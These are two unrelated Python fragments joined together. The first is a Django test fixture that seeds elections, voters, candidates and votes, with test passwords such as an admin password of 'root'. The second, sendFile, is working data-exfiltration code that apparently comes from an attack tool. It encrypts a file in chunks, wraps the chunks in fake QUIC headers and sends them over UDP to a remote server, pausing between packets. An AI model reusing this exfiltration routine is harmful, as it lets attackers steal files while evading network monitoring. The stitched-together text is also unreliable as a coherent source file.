def setUpTestData(cls):
        batch_num = 0
        section_num = 0
        voter_num = 0
        party_num = 0
        position_num = 0
        candidate_num = 0
        num_elections = 2
        voters = list()
        positions = dict()
        for i in range(num_elections):
            election = Election.objects.create(name='Election {}'.format(i))
            positions[str(election.name)] = list()

            num_batches = 2
            for j in range(num_batches):
                batch = Batch.objects.create(year=batch_num, election=election)
                batch_num += 1

                num_sections = 2 if j == 0 else 1
                for k in range(num_sections):
                    section = Section.objects.create(
                        section_name=str(section_num)
                    )
                    section_num += 1

                    num_students = 2
                    for l in range(num_students):
                        voter = User.objects.create(
                            username='user{}'.format(voter_num),
                            first_name=str(voter_num),
                            last_name=str(voter_num),
                            type=UserType.VOTER
                        )
                        voter.set_password('voter')
                        voter.save()
                        voter_num += 1

                        VoterProfile.objects.create(
                            user=voter,
                            batch=batch,
                            section=section
                        )

                        voters.append(voter)

            num_positions = 3
            for i in range(num_positions):
                position = CandidatePosition.objects.create(
                    position_name='Position {}'.format(position_num),
                    election=election
                )

                positions[str(election.name)].append(position)

                position_num += 1

            num_parties = 3
            for j in range(num_parties):
                party = CandidateParty.objects.create(
                    party_name='Party {}'.format(party_num),
                    election=election
                )
                party_num += 1

                if j != 2:  # Let every third party have no candidates.
                    num_positions = 3
                    for k in range(num_positions):
                        position = positions[str(election.name)][k]

                        candidate = Candidate.objects.create(
                            user=voters[candidate_num],
                            party=party,
                            position=position,
                            election=election
                        )

                        Vote.objects.create(
                            user=voters[candidate_num],
                            candidate=candidate,
                            election=election
                        )

                        candidate_num += 1

        # Let's give one candidate an additional vote to really make sure that
        # we all got the correct number of votes.
        Vote.objects.create(
            user=voters[0],
            # NOTE: The voter in voter[1] is a Position 1 candidate of
            #       Party 1, where the voter in voter[0] is a member.
            candidate=Candidate.objects.get(user=voters[1]),
            election=Election.objects.get(name='Election 0')
        )

        _admin = User.objects.create(username='admin', type=UserType.ADMIN)
        _admin.set_password('root')
        _admin.save()
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0